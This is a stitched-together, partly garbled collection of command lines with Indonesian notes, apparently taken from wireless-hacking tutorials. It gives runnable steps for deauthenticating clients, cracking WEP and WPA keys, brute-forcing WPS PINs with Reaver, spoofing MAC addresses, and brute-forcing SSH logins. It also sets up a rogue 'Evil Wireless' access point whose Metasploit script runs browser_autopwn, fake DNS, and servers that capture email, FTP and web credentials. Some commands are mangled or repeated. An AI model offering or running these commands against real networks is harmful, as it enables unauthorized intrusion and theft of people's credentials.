# apt-get install build-essential perl
http://ath5k.org/wiki/MadWifi http://sourceforge.net/project/showfiles.php?group_id=82936Copy dan buka source code
# cp madwifi-0.9.4.tar.gz /usr/local/src/ # cd /usr/local/src # tar zxvf madwifi-0.9.4.tar.gz # cd /usr/local/src/madwifi-0.9.4
# make # make install
# modprobe ath_pci
# kismet
# airmon-ng stop eth1 # airmon-ng start eth1 # airodump-ng eth1
# aireplay-ng --deauth 1 -a 00:11:6B:60:86:91 eth1
# kismet
space S - untuk men-sort S - untuk men-sort terhadap SSID Panah Bawah - Letakan di SSID AP yang kita inginkan. ENTER - detail AP C - lihat siapa saja client AP tersebut
# airmon-ng stop eth1
# ifconfig eth1 down # ifconfig eth1 hw ether 00:16:CF:C1:FA:F5 # ifconfig eth1 up
# ifconfig eth1 down # macchanger -mac 00:16:CF:C1:FA:F5 eth1 # ifconfig eth1 up
# macchanger -r eth1
airbase-ng -e "Free WiFi" -P -C 30 -v wlan0
sudo apt-get install subversion
svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng cd aircrack-ng/ make make install
sudo su - airmon-ng start wlan0 airbase-ng -e "Evil Wireless" -v mon0 & ifconfig at0 10.0.0.1 netmask 255.255.255.0
apt-get install dhcp3-server vi /etc/dhcp3/evil-wireless.conf
option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}
dhcpd3 -cf /etc/dhcp3/evil-wireless.conf
ifconfig mon0 mtu 1800 ifconfig at0 mtu 1400
svn co http://metasploit.com/svn/framework3/trunk msf3 (butuh waktu lama & bandwidth)
apt-get install rubygems gem install activerecord sqlite3-ruby (butuh waktu lama & bandwidth)
vi evilwireless.rc
load db_sqlite3 db_create /root/evilwireless.db use auxiliary/server/browser_autopwn setg AUTOPWN_HOST 10.0.0.1 setg AUTOPWN_PORT 55550 setg AUTOPWN_URI /ads set LHOST 10.0.0.1 set LPORT 45000 set SRVPORT 55550 set URIPATH /ads run use auxiliary/server/capture/pop3 set SRVPORT 110 set SSL false run use auxiliary/server/capture/pop3 set SRVPORT 995 set SSL true run use auxiliary/server/capture/ftp run use auxiliary/server/capture/imap set SSL false set SRVPORT 143 run use auxiliary/server/capture/imap set SSL true set SRVPORT 993 run use auxiliary/server/capture/smtp set SSL false set SRVPORT 25 run use auxiliary/server/capture/smtp set SSL true set SRVPORT 465 run use auxiliary/server/fakedns unset TARGETHOST set SRVPORT 5353 run use auxiliary/server/fakedns unset TARGETHOST set SRVPORT 53 run use auxiliary/server/capture/http set SRVPORT 80 set SSL false run use auxiliary/server/capture/http set SRVPORT 8080 set SSL false run use auxiliary/server/capture/http set SRVPORT 443 set SSL true run use auxiliary/server/capture/http set SRVPORT 8443 set SSL true run
./msfconsole -r evilwireless.rc
BSSID 00:30:4F:4E:2B:50 WIFI 00:11:6b:33:d3:90 CHANNEL 2
export AP=00:30:4F:4E:2B:50 export WIFI=00:11:6b:33:d3:90 export CHANNEL=1
airmon-ng start wlan0 1
Interface Chipset Driver
wlan0 Intel 3945ABG iwl3945 - [phy0]
(monitor mode enabled on mon0)
airodump-ng -w hasilcapture --bssid $AP --channel $CHANNEL mon0
airodump-ng --output-format pcap -w hasilcapture --bssid $AP --channel $CHANNEL mon0
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 mon0
-a MAC AP -c MAC client
BSSID 00:30:4F:4E:2B:50 WIFI 00:11:6b:33:d3:90 CHANNEL 2
export AP=00:30:4F:4E:2B:50 export WIFI=00:11:6b:33:d3:90 export CHANNEL=1
Setup supaya interface WiFi masuk ke mode monitoring menggunakan perintah
airmon-ng start wlan0 1
Interface Chipset Driver
wlan0 Intel 3945ABG iwl3945 - [phy0]
(monitor mode enabled on mon0)
airodump-ng --ivs -w hasilcapture --bssid $AP --channel $CHANNEL mon0
airodump-ng --output-format ivs -w hasilcapture --bssid $AP --channel $CHANNEL mon0
# aircrack-ng -a 1 -e essidapyangakandicrack -n 64 hasilcapture-01.ivs
# aircrack-ng -a 1 -e linksys -n 64 hasilcapture-01.ivs # aircrack-ng -a 1 -e $AP -n 64 hasilcapture-01.ivs
# aircrack-ng -a 1 -n 64 hasilcapture-01.ivs
# airmon-ng start wlan0
Untuk menjalankan Reaver, Anda harus menentukan BSSID dari AP target dan nama antarmuka mode monitor (biasanya 'mon0', bukan 'wlan0', meskipun ini akan bervariasi berdasarkan wireless card/drivers):
# reaver -i mon0 -b 00:01:02:03:04:05
Anda mungkin akan juga ingin menggunakan-vv untuk mendapatkan verbose info tentang kemajuan Reaver ini:
# reaver -i mon0 -b 00:01:02:03:04:05 -vv
# reaver -i mon0 -b 00:01:02:03:04:05 -vv --dh-small
# ifconfig wlan0 down # ifconfig wlan0 hw ether 00:BA:AD:BE:EF:69 # ifconfig wlan0 up # airmon-ng start wlan0 # reaver -i mon0 -b 00:01:02:03:04:05 -vv --mac=00:BA:AD:BE:EF:69
$ ./configure $ make # make installTo remove everything installed/created by Reaver:
# make distclean
# reaver -i mon0 -b 00:01:02:03:04:05The channel and SSID (provided that the SSID is not cloaked) of the target AP will be automatically identified by Reaver, unless explicitly specified on the command line:
# reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksysBy default, if the AP switches channels, Reaver will also change its channel accordingly. However, this feature may be disabled by fixing the interface's channel:
# reaver -i mon0 -b 00:01:02:03:04:05 --fixedThe default receive timeout period is 5 seconds. This timeout period can be set manually if necessary (minimum timeout period is 1 second):
# reaver -i mon0 -b 00:01:02:03:04:05 -t 2The default delay period between pin attempts is 1 second. This value can be increased or decreased to any non-negative integer value. A value of zero means no delay:
# reaver -i mon0 -b 00:01:02:03:04:05 -d 0Some APs will temporarily lock their WPS state, typically for five minutes or less, when "suspicious" activity is detected. By default when a locked state is detected, Reaver will check the state every 315 seconds (5 minutes and 15 seconds) and not continue brute forcing pins until the WPS state is unlocked. This check can be increased or decreased to any non-negative integer value:
# reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250For additional output, the verbose option may be provided. Providing the verbose option twice will increase verbosity and display each pin number as it is attempted:
# reaver -i mon0 -b 00:01:02:03:04:05 -vvThe default timeout period for receiving the M5 and M7 WPS response messages is .1 seconds. This timeout period can be set manually if necessary (max timeout period is 1 second):
# reaver -i mon0 -b 00:01:02:03:04:05 -T .5Some poor WPS implementations will drop a connection on the floor when an invalid pin is supplied instead of responding with a NACK message as the specs dictate. To account for this, if an M5/M7 timeout is reached, it is treated the same as a NACK by default. However, if it is known that the target AP sends NACKS (most do), this feature can be disabled to ensure better reliability. This option is largely useless as Reaver will auto-detect if an AP properly responds with NACKs or not:
# reaver -i mon0 -b 00:01:02:03:04:05 --nackWhile most APs don't care, sending an EAP FAIL message to close out a WPS session is sometimes necessary. By default this feature is disabled, but can be enabled for those APs that need it:
# reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminateWhen 10 consecutive unexpected WPS errors are encountered, a warning message will be displayed. Since this may be a sign that the AP is rate limiting pin attempts or simply being overloaded, a sleep can be put in place that will occur whenever these warning messages appear:
# reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360
# iwlist scanning
# apt-get install kismet # vi /etc/kismet/kismet.conf source=none,none,addme --> source=ipw3945,wlan0,ipwsource source=none,none,addme --> source=zd1211,eth1,zysource source=none,none,addme --> source=ath5k, ath0, athsource
# kismet
# airmon-ng stop wlan0
# airmon-ng start wlan0 1
Interface Chipset Driver
wlan0 Intel 3945ABG iwl3945 - [phy0]
(monitor mode enabled on mon2)
mon0 Intel 3945ABG iwl3945 - [phy0]
mon1 Intel 3945ABG iwl3945 - [phy0]
# airodump-ng mon0
python brutessh.py -h targethost -u user -d passwordict
python brutessh.py -h 192.168.0.2 -u namauser -d /pentest/passwords/wordlists/darkc0de.lst
# apt-get install gcc g++ linux-kernel-headers libpcap0.8 libpcap0.8-dev libnet1 libnet1-dev libdnet \ libdnet-dev subversion python2.4 python2.4-dev python-pyx python-crypto python-psyco dhcp3-server bind9 apache2Install beberapa aplikasi yang lebih fokus untuk hacking wireless
# apt-get install kismet scapy macchanger ettercap dsniff aircrack-ngPada Ubuntu 9.04 aplikasi yang di instalasi adalah
# apt-get install kismet python-scapy macchanger ettercap dsniff aircrack-ngDownload source code aplikasi berikut jika diperlukan
# cd /usr/local/src # svn co https://802.11ninja.net/svn/lorcon/trunk lorcon # wget http://download.aircrack-ng.org/aircrack-ng-0.9.3.tar.gz # wget http://sid.rstack.org/code/wifitap/wifitap-0.4.0.tgz # wget http://easynews.dl.sourceforge.net/sourceforge/airpwn/airpwn-1.30.tgzBagi pengguna Atheros & RT73 perlu mendownload
# wget http://snapshots.madwifi.org/madwifi-ng/madwifi-ng-r2277-20070414.tar.gz # wget http://homepages.tu-darmstadt.de/~p_larbig/wlan/rt2570-k2wrlz-1.6.1.tar.bz2 # wget http://homepages.tu-darmstadt.de/~p_larbig/wlan/rt73-k2wrlz-1.1.0.tar.bz2
# cd /usr/local/src/lorcon/ # ./configure \ -prefix=/usr \ -sysconfdir=/etc/lorcon \ -localstatedir=/var \ -mandir=/usr/share/man\ -infodir=/usr/share/info # make # make installSebaiknya dilakukan melalui airpwn seperti di bawah ini
# cd /usr/local/src/ # tar zxvf airpwn-1.3.tgz # cd /usr/local/src/airpwn-1.3
# tar zxvf lorcon-current.tgz # cp -Rf /usr/local/src/lorcon/* /usr/local/src/airpwn-1.3/lorcon # cd /usr/local/src/airpwn-1.3/lorcon # ./configure \ -prefix=/usr \ -sysconfdir=/etc/lorcon \ -localstatedir=/var \ -mandir=/usr/share/man\ -infodir=/usr/share/info # make # make installLangkah selanjutnya kita perlu menginstall source code kernel:( ...
# cd /usr/local/src/airpwn-1.3 # ./configure # make # make install
# cd /usr/local/src/ # tar zxvf wifitap-0.4.0.tgz
# ifconfig -a
# ifconfig wlan0 up
# airmon-ng start wlan0 [/color]
# airodump-ng mon0
# airodump-ng -w test –channel 11 –bssid 00904c910001 mon0
# aireplay-ng -0 1 -a 00904c910001 -c oo1cbfa13fe3 mon0
-0 : mode serangan deAuthentication 1 : dilakukan sebanyak 1x deAuth [/list]
# aircrack-ng test-01.cap -w /pentest/passwords/wordlists/inawpa.txt